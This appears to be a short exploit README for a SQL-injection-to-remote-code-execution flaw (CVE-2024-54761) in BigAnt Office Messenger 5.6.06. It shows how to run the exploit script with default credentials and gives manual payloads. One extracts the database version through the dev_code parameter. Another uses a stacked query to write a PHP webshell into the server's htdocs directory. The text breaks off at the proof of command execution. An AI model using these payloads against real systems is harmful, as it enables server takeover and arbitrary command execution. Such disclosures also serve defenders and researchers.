BigAnt Office Messenger 5.6.06 RCE via SQL Injection

SQL injection vulnerability in BigAnt Messenger causes RCE vulnerability. Follow the steps to exploit.

Usage:

CVE-2024-54761.py [-h] -r RHOST [-p RPORT] [-u USERNAME] [-P PASSWORD]
options:
  -h, --help            show this help message and exit
  -r, --rhost RHOST     Target IP address
  -p, --rport RPORT     Target port (default 8000)
  -u, --username USERNAME
                        Login username (default admin)
  -P, --password PASSWORD
                        Login password (default 123456)

Run exploit for default credentials.

python CVE-2024-54761.py -r 127.0.0.1

Manual exploit

Extract the database version used with the dev_code parameter that is exposed to SQLi.

# Payload
?dev_code=AND EXTARCTVALUE(rand(),concat(CHAR(126),version(),CHAR(126)))--

SQLI version Upload php webshell on target using SQL stack queries.

# Payload
?dev_code=;SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE 'C:/Program Files (x86)/BigAntSoft/IM Console/im_webserver/htdocs/shell.php'-- -

crate webshell 1 Proof of command execution: